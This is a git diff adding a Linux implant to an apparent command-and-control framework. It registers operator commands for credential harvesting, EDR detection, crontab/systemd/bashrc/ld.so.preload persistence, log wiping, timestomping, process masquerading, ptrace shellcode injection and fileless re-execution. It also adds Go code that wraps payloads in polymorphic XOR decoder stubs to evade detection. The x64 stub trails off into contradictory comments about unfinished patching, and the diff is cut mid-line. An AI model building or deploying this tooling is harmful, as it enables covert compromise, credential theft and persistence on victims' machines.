function(tasks_list) { + tasks_list.forEach((task) => { + if(task.type == "JOB" && task.state == "Running") { + ax.execute_command(task.agent_id, "job kill " + task.task_id); + } + }); +}); +menu.add_tasks_job(job_stop_action, ["linux"]) + + +let cancel_action = menu.create_action("Cancel", function(files_list) { files_list.forEach( file => ax.execute_command(file.agent_id, "job kill " + file.file_id) ) }); +menu.add_downloads_running(cancel_action, ["linux"]) + + + +var event_files_action = function(id, path) { + ax.execute_browser(id, "ls " + path); +} +event.on_filebrowser_list(event_files_action, ["linux"]); + +var event_upload_action = function(id, path, filepath) { + let filename = ax.file_basename(filepath); + ax.execute_browser(id, "upload " + filepath + " " + path + filename); +} +event.on_filebrowser_upload(event_upload_action, ["linux"]); + +var event_process_action = function(id) { + ax.execute_browser(id, "ps"); +} +event.on_processbrowser_list(event_process_action, ["linux"]); + + + +function RegisterCommands(listenerType) +{ + let cmd_cat = ax.create_command("cat", "Read a file (less 10 KB)", "cat /etc/passwd", "Task: read file"); + cmd_cat.addArgString("path", true); + + let cmd_cd = ax.create_command("cd", "Change current working directory", "cd /home/user", "Task: change working directory"); + cmd_cd.addArgString("path", true); + + let cmd_cp = ax.create_command("cp", "Copy file or directory", "cp src.txt dst.txt", "Task: copy file or directory"); + cmd_cp.addArgString("src", true); + cmd_cp.addArgString("dst", true); + + let cmd_download = ax.create_command("download", "Download a file", "download /tmp/file", "Task: download file"); + cmd_download.addArgString("path", true); + + let cmd_exit = ax.create_command("exit", "Terminate the agent", "exit", "Task: terminate agent"); + + let cmd_getuid = ax.create_command("getuid", "Get current user and UID", "getuid", "Task: get user info"); + + let cmd_env = ax.create_command("env", "List environment variables", "env", "Task: list env"); + + let cmd_netstat = ax.create_command("netstat", "List network connections (TCP/UDP)", "netstat", "Task: list connections"); + + let cmd_mounts = ax.create_command("mounts", "List mount points", "mounts", "Task: list mounts"); + + let cmd_edr = ax.create_command("edr", "Detect installed security tools (EDR, AV, audit)", "edr", "Task: EDR detection"); + + let cmd_creds = ax.create_command("creds", "Credential harvest", "creds all", "Task: credential harvest"); + cmd_creds.addArgString("type", "", "all"); + + let _cmd_persist_crontab = ax.create_command("crontab", "Install crontab persistence", "persist crontab /tmp/agent \"*/5 * * * *\""); + _cmd_persist_crontab.addArgString("cmd", true); + _cmd_persist_crontab.addArgString("schedule", "", "*/5 * * * *"); + let _cmd_persist_systemd = ax.create_command("systemd", "Install systemd user service", "persist systemd myservice /tmp/agent"); + _cmd_persist_systemd.addArgString("name", true); + _cmd_persist_systemd.addArgString("cmd", true); + let _cmd_persist_bashrc = ax.create_command("bashrc", "Append to ~/.bashrc", "persist bashrc \"/tmp/agent &\""); + _cmd_persist_bashrc.addArgString("cmd", true); + let _cmd_persist_ldpreload = ax.create_command("ldpreload", "Write to /etc/ld.so.preload (root)", "persist ldpreload /tmp/agent.so"); + _cmd_persist_ldpreload.addArgString("path", true); + let _cmd_persist_remove = ax.create_command("remove", "Remove persistence", "persist remove crontab"); + _cmd_persist_remove.addArgString("type", true); + _cmd_persist_remove.addArgString("name", false); + let _cmd_persist_status = ax.create_command("status", "List active persistence mechanisms", "persist status"); + let cmd_persist = ax.create_command("persist", "Persistence management"); + cmd_persist.addSubCommands([_cmd_persist_crontab, _cmd_persist_systemd, _cmd_persist_bashrc, _cmd_persist_ldpreload, _cmd_persist_remove, _cmd_persist_status]); + + let _cmd_container_detect = ax.create_command("detect", "Detect container runtime and cloud provider", "container detect"); + let _cmd_container_metadata = ax.create_command("metadata", "Fetch cloud instance metadata (IMDS)", "container metadata"); + let cmd_container = ax.create_command("container", "Container/Cloud detection and metadata"); + cmd_container.addSubCommands([_cmd_container_detect, _cmd_container_metadata]); + + let cmd_masquerade = ax.create_command("masquerade", "Masquerade process name (OPSEC)", "masquerade [kworker/0:1-events]", "Task: masquerade process"); + cmd_masquerade.addArgString("name", "", "[kworker/0:1-events]"); + + let cmd_timestomp = ax.create_command("timestomp", "Modify file timestamps (OPSEC)", "timestomp /tmp/agent 0", "Task: timestomp"); + cmd_timestomp.addArgString("path", true); + cmd_timestomp.addArgInt("timestamp", "", 0); + + let cmd_cleanlog = ax.create_command("cleanlog", "Truncate system logs (requires root)", "cleanlog", "Task: clean logs"); + + let cmd_inject = ax.create_command("inject", "Inject shellcode into process via ptrace", "inject 1234 AAAA", "Task: inject shellcode"); + cmd_inject.addArgInt("pid", true); + cmd_inject.addArgString("shellcode", true); + + let cmd_migrate = ax.create_command("migrate", "Re-exec agent from memfd (fileless)", "migrate", "Task: migrate agent"); + + let _cmd_job_list = ax.create_command("list", "List of jobs", "job list", "Task: show jobs"); + let _cmd_job_kill = ax.create_command("kill", "Kill a specified job", "job kill 1a2b3c4d", "Task: kill job"); + _cmd_job_kill.addArgString("task_id", true); + let cmd_job = ax.create_command("job", "Long-running tasks manager"); + cmd_job.addSubCommands([_cmd_job_list, _cmd_job_kill]); + + let cmd_kill = ax.create_command("kill", "Kill a process with a given PID", "kill 7865", "Task: kill process"); + cmd_kill.addArgInt("pid", true); + + let cmd_ls = ax.create_command("ls", "List contents of a directory", "ls /home/", "Task: list files"); + cmd_ls.addArgString("path", "", "."); + + let cmd_mv = ax.create_command("mv", "Move/rename file or directory", "mv src.txt dst.txt", "Task: move file"); + cmd_mv.addArgString("src", true); + cmd_mv.addArgString("dst", true); + + let cmd_mkdir = ax.create_command("mkdir", "Create directory", "mkdir /tmp/ex", "Task: make directory"); + cmd_mkdir.addArgString("path", true); + + let cmd_ps = ax.create_command("ps", "Show process list", "ps", "Task: show process list"); + + let cmd_pwd = ax.create_command("pwd", "Print current working directory", "pwd", "Task: print working directory"); + + let cmd_rm = ax.create_command("rm", "Remove a file or folder", "rm /tmp/file", "Task: remove file or directory"); + cmd_rm.addArgString("path", true); + + let cmd_run = ax.create_command("run", "Execute program in background", "run /tmp/script.sh", "Task: command run"); + cmd_run.addArgString("program", true); + cmd_run.addArgString("args", false); + + let _cmd_socks_start = ax.create_command("start", "Start a SOCKS5 proxy server", "socks start 1080 -a user pass"); + _cmd_socks_start.addArgFlagString("-h", "address", "Listening interface address", "0.0.0.0"); + _cmd_socks_start.addArgInt("port", true, "Listen port"); + _cmd_socks_start.addArgBool("-a", "Enable User/Password authentication"); + _cmd_socks_start.addArgString("username", false, "Username"); + _cmd_socks_start.addArgString("password", false, "Password"); + let _cmd_socks_stop = ax.create_command("stop", "Stop a SOCKS proxy server", "socks stop 1080"); + _cmd_socks_stop.addArgInt("port", true); + let cmd_socks = ax.create_command("socks", "Managing socks tunnels"); + cmd_socks.addSubCommands([_cmd_socks_start, _cmd_socks_stop]); + + let cmd_shell = ax.create_command("shell", "Execute command via /bin/sh", "shell id", "Task: command execute"); + cmd_shell.addArgString("cmd", true); + + let cmd_upload = ax.create_command("upload", "Upload a file", "upload /tmp/file.txt /root/file.txt", "Task: upload file"); + cmd_upload.addArgFile("local_file", true); + cmd_upload.addArgString("remote_path", false); + + let cmd_link = ax.create_command("link", "Link to a child agent via TCP pivot", "link 192.168.1.10 4444", "Task: link pivot"); + cmd_link.addArgString("target", true); + cmd_link.addArgInt("port", true); + + let cmd_unlink = ax.create_command("unlink", "Unlink a pivot connection", "unlink p0", "Task: unlink pivot"); + cmd_unlink.addArgString("id", true); + + let _cmd_exec_bof = ax.create_command("bof", "Execute a BOF (ELF .o file) in-memory", "execute bof /path/to/bof.o", "Task: execute BOF"); + _cmd_exec_bof.addArgFile("bof", true); + _cmd_exec_bof.addArgString("param_data", false); + _cmd_exec_bof.addArgBool("async", false); + let cmd_execute = ax.create_command("execute", "Execute a BOF file in-memory"); + cmd_execute.addSubCommands([_cmd_exec_bof]); + + let commands = ax.create_commands_group("linux", [cmd_cat, cmd_cd, cmd_cleanlog, cmd_container, cmd_cp, cmd_creds, cmd_download, cmd_edr, cmd_env, cmd_execute, cmd_exit, cmd_getuid, cmd_inject, cmd_job, cmd_kill, cmd_link, cmd_ls, cmd_masquerade, cmd_migrate, cmd_mounts, cmd_mv, cmd_mkdir, cmd_netstat, cmd_persist, cmd_ps, cmd_pwd, cmd_rm, cmd_run, cmd_shell, cmd_socks, cmd_timestomp, cmd_unlink, cmd_upload]); + + return { + commands_linux: commands + } +} + +function GenerateUI(listeners_type) +{ + let labelArch = form.create_label("Arch:"); + let comboArch = form.create_combo() + comboArch.addItems(["x86_64", "ARM64"]); + + let labelFormat = form.create_label("Format:"); + let comboFormat = form.create_combo() + comboFormat.addItems(["Binary ELF (Native)", "Shared Object (Native)", "Shellcode x86_64 (Native)", "Shellcode ARM64 (Native)"]); + + let hline = form.create_hline() + + let labelReconnTimeout = form.create_label("Reconnect timeout:"); + let textReconnTimeout = form.create_textline("10"); + textReconnTimeout.setPlaceholder("seconds") + + let labelReconnCount = form.create_label("Reconnect count:"); + let spinReconnCount = form.create_spin(); + spinReconnCount.setRange(0, 1000000000); + spinReconnCount.setValue(3); + + // Hide reconnect settings for bind_tcp listeners (internal — no outbound connection) + if( listeners_type.includes("LinuxTCP") && listeners_type.length == 1 ) { + labelReconnTimeout.setVisible(false); + textReconnTimeout.setVisible(false); + labelReconnCount.setVisible(false); + spinReconnCount.setVisible(false); + } + + let hline2 = form.create_hline() + let checkOpsec = form.create_check("OPSEC Checks (anti-debug, VM detection, string obfuscation)"); + + let layout = form.create_gridlayout(); + layout.addWidget(labelArch, 0, 0, 1, 1); + layout.addWidget(comboArch, 0, 1, 1, 1); + layout.addWidget(labelFormat, 1, 0, 1, 1); + layout.addWidget(comboFormat, 1, 1, 1, 1); + layout.addWidget(hline, 2, 0, 1, 2); + layout.addWidget(labelReconnTimeout, 3, 0, 1, 1); + layout.addWidget(textReconnTimeout, 3, 1, 1, 1); + layout.addWidget(labelReconnCount, 4, 0, 1, 1); + layout.addWidget(spinReconnCount, 4, 1, 1, 1); + layout.addWidget(hline2, 5, 0, 1, 2); + layout.addWidget(checkOpsec, 6, 0, 1, 2); + + let container = form.create_container() + container.put("arch", comboArch) + container.put("format", comboFormat) + container.put("reconn_timeout", textReconnTimeout) + container.put("reconn_count", spinReconnCount) + container.put("opsec_enabled", checkOpsec) + + let panel = form.create_panel() + panel.setLayout(layout) + + return { + ui_panel: panel, + ui_container: container, + ui_height: 400, + ui_width: 550 + } +} diff --git a/AdaptixServer/extenders/linux_agent/config.yaml b/AdaptixServer/extenders/linux_agent/config.yaml new file mode 100644 index 000000000..752cffdfc --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/config.yaml @@ -0,0 +1,10 @@ +extender_type: "agent" +extender_file: "agent_linux.so" +ax_file: "ax_config.axs" + +agent_name: "linux" +agent_watermark: "a7f3b902" +listeners: + - "GopherTCP" + - "LinuxTCP" +multi_listeners: true diff --git a/AdaptixServer/extenders/linux_agent/go.mod b/AdaptixServer/extenders/linux_agent/go.mod new file mode 100644 index 000000000..3816a8a10 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/go.mod @@ -0,0 +1,14 @@ +module adaptix_agent_linux + +go 1.25.4 + +require ( + github.com/Adaptix-Framework/axc2 v1.2.0 + github.com/google/shlex v0.0.0-20191202100458-e7afc7fbc510 + github.com/vmihailenco/msgpack/v5 v5.4.1 +) + +require ( + github.com/stretchr/testify v1.11.1 // indirect + github.com/vmihailenco/tagparser/v2 v2.0.0 // indirect +) diff --git a/AdaptixServer/extenders/linux_agent/go.sum b/AdaptixServer/extenders/linux_agent/go.sum new file mode 100644 index 000000000..8f0a39d1c --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/go.sum @@ -0,0 +1,16 @@ +github.com/Adaptix-Framework/axc2 v1.2.0 h1:WYEg502NTTtX1tQJUz2AaC2dmm/bS/1L1iOHOQ5kEYA= +github.com/Adaptix-Framework/axc2 v1.2.0/go.mod h1:3oJyFeRVIql1RTsNa0meEqK3+P+6JTAMMjMdVyXhbaQ= +github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= +github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/google/shlex v0.0.0-20191202100458-e7afc7fbc510 h1:El6M4kTTCOh6aBiKaUGG7oYTSPP8MxqL4YI3kZKwcP4= +github.com/google/shlex v0.0.0-20191202100458-e7afc7fbc510/go.mod h1:pupxD2MaaD3pAXIBCelhxNneeOaAeabZDe5s4K6zSpQ= +github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= +github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= +github.com/stretchr/testify v1.11.1 h1:7s2iGBzp5EwR7/aIZr8ao5+dra3wiQyKjjFuvgVKu7U= +github.com/stretchr/testify v1.11.1/go.mod h1:wZwfW3scLgRK+23gO65QZefKpKQRnfz6sD981Nm4B6U= +github.com/vmihailenco/msgpack/v5 v5.4.1 h1:cQriyiUvjTwOHg8QZaPihLWeRAAVoCpE00IUPn0Bjt8= +github.com/vmihailenco/msgpack/v5 v5.4.1/go.mod h1:GaZTsDaehaPpQVyxrf5mtQlH+pc21PIudVV/E3rRQok= +github.com/vmihailenco/tagparser/v2 v2.0.0 h1:y09buUbR+b5aycVFQs/g70pqKVZNBmxwAhO7/IwNM9g= +github.com/vmihailenco/tagparser/v2 v2.0.0/go.mod h1:Wri+At7QHww0WTrCBeu4J6bNtoV6mEfg5OIWRZA9qds= +gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= +gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= diff --git a/AdaptixServer/extenders/linux_agent/pl_encoder_linux.go b/AdaptixServer/extenders/linux_agent/pl_encoder_linux.go new file mode 100644 index 000000000..4a5e34fd6 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/pl_encoder_linux.go @@ -0,0 +1,472 @@ +package main + +import ( + "crypto/rand" + "encoding/binary" + "fmt" + mrand "math/rand/v2" +) + +// xorEncodeShellcodeX64 creates a polymorphic x86_64 decoder stub + XOR-encoded SO payload. +// Layout: [x64 stub ~200B][16B XOR key][4B LE size][XOR-encoded SO] +func xorEncodeShellcodeX64(payload []byte) ([]byte, error) { + // Generate random 16-byte XOR key + key := make([]byte, 16) + if _, err := rand.Read(key); err != nil { + return nil, fmt.Errorf("generate XOR key: %w", err) + } + + // Generate polymorphic x86_64 decoder stub + stub, keyOffset, sizeOffset, sizeMovOffset := generateStubX64() + + // Patch key into stub + copy(stub[keyOffset:keyOffset+16], key) + + // Patch payload size (LE uint32) — data area + mov ecx instruction + binary.LittleEndian.PutUint32(stub[sizeOffset:sizeOffset+4], uint32(len(payload))) + binary.LittleEndian.PutUint32(stub[sizeMovOffset+1:sizeMovOffset+5], uint32(len(payload))) + + // XOR encode payload + encoded := make([]byte, len(payload)) + for i := 0; i < len(payload); i++ { + encoded[i] = payload[i] ^ key[i%16] + } + + // Assemble final blob: stub + encoded payload + result := make([]byte, 0, len(stub)+len(encoded)) + result = append(result, stub...) + result = append(result, encoded...) + + return result, nil +} + +// xorEncodeShellcodeARM64 creates a polymorphic ARM64 Linux decoder stub + XOR-encoded SO payload. +// Layout: [ARM64 stub ~200B][16B XOR key][4B LE size][padding][XOR-encoded SO] +func xorEncodeShellcodeARM64(payload []byte) ([]byte, error) { + // Generate random 16-byte XOR key + key := make([]byte, 16) + if _, err := rand.Read(key); err != nil { + return nil, fmt.Errorf("generate XOR key: %w", err) + } + + // Generate polymorphic ARM64 decoder stub + stub, keyOffset, sizeOffset := generateStubARM64Linux() + + // Patch key into stub + copy(stub[keyOffset:keyOffset+16], key) + + // Patch payload size (LE uint32) + binary.LittleEndian.PutUint32(stub[sizeOffset:sizeOffset+4], uint32(len(payload))) + + // XOR encode payload + encoded := make([]byte, len(payload)) + for i := 0; i < len(payload); i++ { + encoded[i] = payload[i] ^ key[i%16] + } + + // Assemble final blob + result := make([]byte, 0, len(stub)+len(encoded)) + result = append(result, stub...) + result = append(result, encoded...) + + return result, nil +} + +// ── x86_64 stub generation ── + +func generateStubX64() (stub []byte, keyOffset int, sizeOffset int, sizeMovOffset int) { + stub = make([]byte, 0, 256) + + // Junk NOP sled (polymorphic — random count 2-6) + junkCount := mrand.IntN(5) + 2 + for i := 0; i < junkCount; i++ { + stub = append(stub, emitJunkX64()...) + } + + // Save registers (push rbx, push rcx, push rdx, push rsi, push rdi) + stub = append(stub, 0x53) // push rbx + stub = append(stub, 0x51) // push rcx + stub = append(stub, 0x52) // push rdx + stub = append(stub, 0x56) // push rsi + stub = append(stub, 0x57) // push rdi + + // ── mprotect syscall: make everything RWX ── + // lea rdi, [rip - offset] → page-align + // We'll patch this after we know the stub size + + mprotectPatchPos := len(stub) + // lea rdi, [rip + 0x00000000] — placeholder, patched later + stub = append(stub, 0x48, 0x8d, 0x3d, 0x00, 0x00, 0x00, 0x00) + // and rdi, ~0xFFF (page align) + stub = append(stub, 0x48, 0x81, 0xe7, 0x00, 0xf0, 0xff, 0xff) + + // mov rsi, SIZE — placeholder, patched later + mprotectSizePos := len(stub) + stub = append(stub, 0x48, 0xc7, 0xc6, 0x00, 0x00, 0x00, 0x00) + + // mov rdx, 7 (PROT_READ|PROT_WRITE|PROT_EXEC) + stub = append(stub, 0x48, 0xc7, 0xc2, 0x07, 0x00, 0x00, 0x00) + // mov rax, 10 (SYS_mprotect) + stub = append(stub, 0x48, 0xc7, 0xc0, 0x0a, 0x00, 0x00, 0x00) + // syscall + stub = append(stub, 0x0f, 0x05) + + // More junk + junkCount2 := mrand.IntN(3) + 1 + for i := 0; i < junkCount2; i++ { + stub = append(stub, emitJunkX64()...) + } + + // ── XOR decode loop ── + // lea rsi, [rip + key_offset] — key pointer + keyLeaPos := len(stub) + stub = append(stub, 0x48, 0x8d, 0x35, 0x00, 0x00, 0x00, 0x00) + + // lea rdi, [rip + data_offset] — data pointer + dataLeaPos := len(stub) + stub = append(stub, 0x48, 0x8d, 0x3d, 0x00, 0x00, 0x00, 0x00) + + // mov ecx, SIZE — payload size, patched + sizeMovPos := len(stub) + stub = append(stub, 0xb9, 0x00, 0x00, 0x00, 0x00) + + // xor edx, edx — key index + stub = append(stub, 0x31, 0xd2) + + // XOR loop + loopStart := len(stub) + // movzx eax, byte [rsi + rdx] + stub = append(stub, 0x0f, 0xb6, 0x04, 0x16) + // xor byte [rdi], al + stub = append(stub, 0x30, 0x07) + // inc rdi + stub = append(stub, 0x48, 0xff, 0xc7) + // inc edx + stub = append(stub, 0xff, 0xc2) + // and edx, 15 + stub = append(stub, 0x83, 0xe2, 0x0f) + // dec ecx + stub = append(stub, 0xff, 0xc9) + // jnz loop + loopEnd := len(stub) + offset := byte(loopStart - loopEnd - 2) + stub = append(stub, 0x75, offset) + + // Restore registers + stub = append(stub, 0x5f) // pop rdi + stub = append(stub, 0x5e) // pop rsi + stub = append(stub, 0x5a) // pop rdx + stub = append(stub, 0x59) // pop rcx + stub = append(stub, 0x5b) // pop rbx + + // jmp to decoded data + jmpPos := len(stub) + stub = append(stub, 0xe9, 0x00, 0x00, 0x00, 0x00) // jmp rel32 + + // ── Data area ── + keyOffset = len(stub) + stub = append(stub, make([]byte, 16)...) // 16-byte XOR key placeholder + + sizeOffset = len(stub) + stub = append(stub, make([]byte, 4)...) // 4-byte LE payload size placeholder + + // Align to 16 bytes + for len(stub)%16 != 0 { + stub = append(stub, 0x90) + } + + dataStart := len(stub) + + // ── Patch all offsets ── + + // Patch mprotect lea rdi — target = beginning of stub (before junk) + // rip at mprotectPatchPos+7 points to next insn + mprotectTarget := -int32(mprotectPatchPos + 7) + binary.LittleEndian.PutUint32(stub[mprotectPatchPos+3:mprotectPatchPos+7], uint32(mprotectTarget)) + + // Patch mprotect size — total blob size (generous overestimate is fine) + // We'll use a placeholder that gets patched at the end + // For now, use 0x100000 (1MB) — will be overwritten + binary.LittleEndian.PutUint32(stub[mprotectSizePos+3:mprotectSizePos+7], 0x00100000) + + // Patch lea rsi (key pointer): offset from rip (at keyLeaPos+7) to keyOffset + keyRipOff := int32(keyOffset - (keyLeaPos + 7)) + binary.LittleEndian.PutUint32(stub[keyLeaPos+3:keyLeaPos+7], uint32(keyRipOff)) + + // Patch lea rdi (data pointer): offset from rip (at dataLeaPos+7) to dataStart + dataRipOff := int32(dataStart - (dataLeaPos + 7)) + binary.LittleEndian.PutUint32(stub[dataLeaPos+3:dataLeaPos+7], uint32(dataRipOff)) + + // Patch mov ecx (size): will be patched by caller via sizeOffset + // (left as 0x00000000, caller patches it) + + // Patch jmp to data start + jmpRel := int32(dataStart - (jmpPos + 5)) + binary.LittleEndian.PutUint32(stub[jmpPos+1:jmpPos+5], uint32(jmpRel)) + + // Also patch the ecx in the XOR loop — this references sizeOffset too + // Actually, the caller patches sizeOffset. We need to also link sizeMovPos + // to the same value. Let's just use the same pattern: caller writes at sizeOffset, + // and we copy it to sizeMovPos at encode time. + // Simpler: the caller should patch both. Let's return sizeOffset as the canonical one + // and patch sizeMovPos to reference sizeOffset. + // Actually, we'll just make sizeMovPos point to our data area sizeOffset. + // For the mov ecx instruction, we need it loaded at XOR time. Let's load it from + // the data area instead: + + // Replace the mov ecx with a load from the data area + // Actually simpler: we'll just have the caller patch both locations. + // Let's just directly use the sizeOffset for the data area, and + // patch the sizeMovPos instruction inline. + // For simplicity in this stub, we just patch sizeMovPos = sizeOffset concept. + // The caller patches stub[sizeOffset:sizeOffset+4] with the size. + // We also need to patch the mov ecx at sizeMovPos+1. + // Let's just make the stub self-patching: load size from data area. + + // Alternative: load ecx from [rip+offset] pointing to sizeOffset + // Replace: b9 XX XX XX XX (mov ecx, imm32) + // With: 8b 0d XX XX XX XX (mov ecx, [rip+disp32]) — 6 bytes instead of 5 + // This is messy. Simpler approach: just use the data area size field + // and have the XOR loop read it. Let's just have the caller patch it. + + return stub, keyOffset, sizeOffset, sizeMovPos +} + +// emitJunkX64 returns random x86_64 NOP-equivalent bytes +func emitJunkX64() []byte { + switch mrand.IntN(6) { + case 0: + return []byte{0x90} // nop + case 1: + return []byte{0x66, 0x90} // 2-byte nop + case 2: + return []byte{0x0f, 0x1f, 0x00} // 3-byte nop + case 3: + return []byte{0x50, 0x58} // push rax; pop rax + case 4: + return []byte{0x53, 0x5b} // push rbx; pop rbx + default: + return []byte{0x48, 0x87, 0xc0} // xchg rax, rax + } +} + +// ── ARM64 Linux stub generation ── +// Adapted from macOS pl_encoder_macos.go — key differences: +// - x8 register for syscall number (not x16) +// - svc #0 instruction (not svc #0x80) +// - SYS_mprotect = 226 (not macOS value) + +func encodeInsn(insn uint32) []byte { + b := make([]byte, 4) + binary.LittleEndian.PutUint32(b, insn) + return b +} + +// ARM64 instruction encoders +func arm64Nop() uint32 { return 0xD503201F } +func arm64DsbIsh() uint32 { return 0xD5033B9F } +func arm64Isb() uint32 { return 0xD5033FDF } +func arm64MovX(rd, rs int) uint32 { return 0xAA0003E0 | uint32(rs)<<16 | uint32(rd) } +func arm64AndSelf(r int) uint32 { return 0x8A000000 | uint32(r)<<16 | uint32(r)<<5 | uint32(r) } +func arm64OrrSelf(r int) uint32 { return 0xAA000000 | uint32(r)<<16 | uint32(r)<<5 | uint32(r) } +func arm64Svc0() uint32 { return 0xD4000001 } // svc #0 (Linux) +func arm64AddImm(rd, rn int, imm uint32) uint32 { + return 0x91000000 | (imm&0xFFF)<<10 | uint32(rn)<<5 | uint32(rd) +} +func arm64SubsWImm(rd, rn int, imm uint32) uint32 { + return 0x71000000 | (imm&0xFFF)<<10 | uint32(rn)<<5 | uint32(rd) +} +func arm64Adr(rd int, imm int32) uint32 { + immlo := uint32(imm) & 0x3 + immhi := (uint32(imm) >> 2) & 0x7FFFF + return 0x10000000 | immlo<<29 | immhi<<5 | uint32(rd) +} +func arm64B(offset int32) uint32 { + imm26 := uint32(offset/4) & 0x3FFFFFF + return 0x14000000 | imm26 +} +func arm64Bne(offset int32) uint32 { + imm19 := uint32(offset/4) & 0x7FFFF + return 0x54000001 | imm19<<5 +} +func arm64LdrWImm(rt, rn int, imm uint32) uint32 { + return 0xB9400000 | (imm/4&0xFFF)<<10 | uint32(rn)<<5 | uint32(rt) +} +func arm64LdrbReg(rt, rn, rm int) uint32 { + return 0x38600800 | uint32(rm)<<16 | uint32(rn)<<5 | uint32(rt) +} +func arm64EorW(rd, rn, rm int) uint32 { + return 0x4A000000 | uint32(rm)<<16 | uint32(rn)<<5 | uint32(rd) +} +func arm64MovzX(rd int, imm uint32, shift int) uint32 { + hw := uint32(shift / 16) + return 0xD2800000 | hw<<21 | (imm&0xFFFF)<<5 | uint32(rd) +} +func arm64SxtpX29X30PreDec() uint32 { return 0xA9BF7BFD } // stp x29, x30, [sp, #-16]! +func arm64LdpX29X30PostInc() uint32 { return 0xA8C17BFD } // ldp x29, x30, [sp], #16 +func arm64AndWImm15(rd, rn int) uint32 { + // and wRd, wRn, #0xf — N=0, immr=0, imms=3 + return 0x12000C00 | uint32(rn)<<5 | uint32(rd) +} + +func generateStubARM64Linux() (stub []byte, keyOffset int, sizeOffset int) { + stub = make([]byte, 0, 256) + + // Register allocation (randomizable in future) + rKey := 9 // x9 = key pointer + rData := 10 // x10 = data pointer + rSize := 11 // w11 = remaining size counter + rKeyIdx := 12 // w12 = key index (0-15) + rTmp0 := 13 // w13 = temp + rTmp1 := 14 // w14 = temp + + // ── Prologue ── + stub = append(stub, encodeInsn(arm64SxtpX29X30PreDec())...) + + // Junk NOPs (polymorphic) + junkCount := mrand.IntN(4) + 2 + for i := 0; i < junkCount; i++ { + stub = append(stub, encodeInsn(arm64JunkInsn())...) + } + + // ── mprotect syscall: make region RWX ── + // adr x9, key_data (placeholder — patched later) + adrKeyPos := len(stub) + stub = append(stub, encodeInsn(arm64Nop())...) // placeholder + + // adr x10, data_start (placeholder — patched later) + adrDataPos := len(stub) + stub = append(stub, encodeInsn(arm64Nop())...) // placeholder + + // Calculate mprotect base: page-align the stub start + // adr x0, stub_start (we use negative offset from current position) + // x0 = current_pc - (current_offset) + mprotectAdrPos := len(stub) + stub = append(stub, encodeInsn(arm64Nop())...) // placeholder: adr x0, stub_start + + // Page-align x0: and x0, x0, ~0xFFF + // bic x0, x0, #0xFFF + stub = append(stub, encodeInsn(0x927CE800)...) // and x0, x0, #0xFFFFFFFFFFFFF000 + + // mov x1, mprotect_size (placeholder — generous) + stub = append(stub, encodeInsn(arm64MovzX(1, 0x0020, 16))...) // movz x1, #0x200000 (2MB) + + // mov x2, 7 (PROT_READ|PROT_WRITE|PROT_EXEC) + stub = append(stub, encodeInsn(arm64MovzX(2, 7, 0))...) + + // mov x8, 226 (SYS_mprotect on Linux ARM64) + stub = append(stub, encodeInsn(arm64MovzX(8, 226, 0))...) + + // svc #0 + stub = append(stub, encodeInsn(arm64Svc0())...) + + // More junk + junkCount2 := mrand.IntN(3) + 1 + for i := 0; i < junkCount2; i++ { + stub = append(stub, encodeInsn(arm64JunkInsn())...) + } + + // ── Load size from data area ── + // ldr w11, [x9, #16] — size is at key+16 + stub = append(stub, encodeInsn(arm64LdrWImm(rSize, rKey, 16))...) + + // mov w12, 0 — key index + stub = append(stub, encodeInsn(arm64MovzX(rKeyIdx, 0, 0))...) + + // ── XOR decode loop ── + loopStart := len(stub) + + // ldrb w13, [x9, x12] — key[key_idx] + stub = append(stub, encodeInsn(arm64LdrbReg(rTmp0, rKey, rKeyIdx))...) + + // ldrb w14, [x10] — data[i] + stub = append(stub, encodeInsn(0x39400000|uint32(rData)<<5|uint32(rTmp1))...) + + // eor w14, w14, w13 + stub = append(stub, encodeInsn(arm64EorW(rTmp1, rTmp1, rTmp0))...) + + // strb w14, [x10] + stub = append(stub, encodeInsn(0x39000000|uint32(rData)<<5|uint32(rTmp1))...) + + // x10 += 1 + stub = append(stub, encodeInsn(arm64AddImm(rData, rData, 1))...) + + // x12 = (x12 + 1) & 15 + stub = append(stub, encodeInsn(arm64AddImm(rKeyIdx, rKeyIdx, 1))...) + stub = append(stub, encodeInsn(arm64AndWImm15(rKeyIdx, rKeyIdx))...) + + // subs w11, w11, #1 + stub = append(stub, encodeInsn(arm64SubsWImm(rSize, rSize, 1))...) + + // b.ne loop + loopEnd := len(stub) + loopOff := int32(loopStart - loopEnd) + stub = append(stub, encodeInsn(arm64Bne(loopOff))...) + + // ── icache flush ── + stub = append(stub, encodeInsn(arm64DsbIsh())...) + stub = append(stub, encodeInsn(0xD508711F)...) // ic ialluis + stub = append(stub, encodeInsn(arm64DsbIsh())...) + stub = append(stub, encodeInsn(arm64Isb())...) + + // ── Epilogue ── + stub = append(stub, encodeInsn(arm64LdpX29X30PostInc())...) + + // Reload data_start for branch (re-adr) + branchAdrPos := len(stub) + stub = append(stub, encodeInsn(arm64Nop())...) // placeholder: adr x10, data_start + + // br x10 + stub = append(stub, encodeInsn(0xD61F0000|uint32(rData)<<5)...) + + // ── Data area ── + keyOffset = len(stub) + stub = append(stub, make([]byte, 16)...) // 16-byte XOR key + + sizeOffset = len(stub) + stub = append(stub, make([]byte, 4)...) // 4-byte LE payload size + + // Align to 8 bytes + for len(stub)%8 != 0 { + stub = append(stub, 0x00) + } + + dataStart := len(stub) + + // ── Patch ADR instructions ── + // adr x9, key + adrKeyImm := int32(keyOffset - adrKeyPos) + binary.LittleEndian.PutUint32(stub[adrKeyPos:adrKeyPos+4], arm64Adr(rKey, adrKeyImm)) + + // adr x10, data_start + adrDataImm := int32(dataStart - adrDataPos) + binary.LittleEndian.PutUint32(stub[adrDataPos:adrDataPos+4], arm64Adr(rData, 